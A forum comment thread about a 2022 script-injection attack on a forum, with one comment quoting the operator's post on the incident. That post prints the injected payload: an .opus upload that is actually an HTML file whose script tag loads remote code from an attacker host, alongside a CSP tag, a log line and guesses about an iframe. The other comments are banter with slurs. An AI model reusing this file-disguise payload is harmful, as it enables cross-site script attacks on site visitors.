Jump in the discussion.

No email address required.

WHAT DOES IT MEAAANNNN

Jump in the discussion.

No email address required.

Just chuckle that someone supposedly injected a malicious script named :marseytrain2:shine.opus

Jump in the discussion.

No email address required.

And its payload is

poz.hiv/load.js

I don't think this is someone on keffals side

Jump in the discussion.

No email address required.

:#marseyclapping:

Tremendous.

Jump in the discussion.

No email address required.

It means KF is running on an outdated version of XenForo with security vulnerabilities. There's a reason blocking JS is the peak of securitymaxxing autism but breaks 95% of websites.

Jersh was working on a FOSS alternative (mentioned in the post) sans JavaShit but btfoings like this can be served up until he replaces the forum software.

Jump in the discussion.

No email address required.

What does it say? I’m not installing another app.

Jump in the discussion.

No email address required.

You should be able to read it without Telegram

:marseynull:

>The issue was a script injection. I am working on the details. Here is my challenge to any hackers or aspiring hackers.

>There is a file called :marseytrain2:shine.opus, with the contents of this:

>!DOCTYPE html>

>script src=//poz.hiv/load.js>

>The web document, on the same domain, has a CORS rule that looks like this:

>meta http-equiv="Content-Security-Policy" content="script-src 'self' 'nonce-0113ffa9cf5af884e070dd1e36188e5db5ba4bbdacaef1c21a733cea089a7fce'" />

>What could you possibly put into that document to get it to load the .opus and have the script execute?

>The more finer details are this: XenForo does not validate any file contents. You can write an .opus file that is basically just an HTML document loading a script off-site and if you somehow open it, it does run. I have confirmed this.

>The question is of how it got injected. The chat on Kiwi Farms was a Rust websocket chat that was part of a forum rewrite I had been working on. Relevant source:

https://github.com/jaw-sh/ruforo/blob/master/src/bin/xf_chat/main.rs

https://github.com/jaw-sh/ruforo/blob/master/resources/js/chat.js

https://github.com/jaw-sh/ruforo/tree/master/src/bbcode

>What baffles me is that even if we did theoretically pass the client a message that was simply instruction to load another script, it should not work, because the security policy of the chat explicitly says that no scripts should run — EVEN FROM THE SAME DOMAIN — unless they are given a nonce token. I know it happened in the chat, though, because I found the access.log entry where it gets opened:

>x.x.x.x - - [18/Sep/2022 -0400] "GET /data/audio/3696/3696202-c63cc36fd4acb874fdebd0b3988c3410.opus HTTP/1.1" 200 90 "https://kiwifarms.st/test-chat?style=dark" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"

>So what can be done to make an .opus media file load as an inline web document which can execute its own scripts that violate the CORS of the web document it's loaded into? I just don't understand.

>[email protected]

>P.S. If you're going to write me and take credit for the attack, include the name of the random user you made an admin.

>Edit: I believe that the .opus file with the xss payload was injected via an iframe that was somehow added to chat. I don't know how they rendered an iframe but that would work.

Jump in the discussion.

No email address required.

so everyone who opened the site was hacked?

Jump in the discussion.

No email address required.

Im downloading your porn :marseycoomer: folders to the central mainframa right :marseysoren: now.

Whats that? Furry... loli... cuck... hentai...

:#marseyfedpostpink:

Jump in the discussion.

No email address required.

:marseycrying:

Jump in the discussion.

No email address required.

if you allow scripts on kiwifarms you deserve it

Jump in the discussion.

No email address required.

Didn't you have to enable them to get past the ddos protection page?

Jump in the discussion.

No email address required.

whenever someone is clearly doing a troll post you will get one of the mods or just some jackass saying "LMAO THIS IS BAIT!! HA HA HA" like they are in on the joke.

imagine you are watching a movie and some butthole yells out spoilers. it ruins the total performance. just shut the frick up, like a good r-slur, and enjoy the show. dont be such an idiot and scream like you and the writers are on the same level because you are not. it is art.

i have literally seen countless posts where bait is ruined because some cute twink points out it is bait so they can feel internet savvy. i am actually very angry.

Snapshots:

Jump in the discussion.

No email address required.

:marseynull::marseylongpost2::marseycapyhacker:

Jump in the discussion.

No email address required.

Compare the etymology and meanings of the words 'null' and 'nonce.'

Jump in the discussion.

No email address required.

Link copied to clipboard
Action successful!
Error, please refresh the page and try again.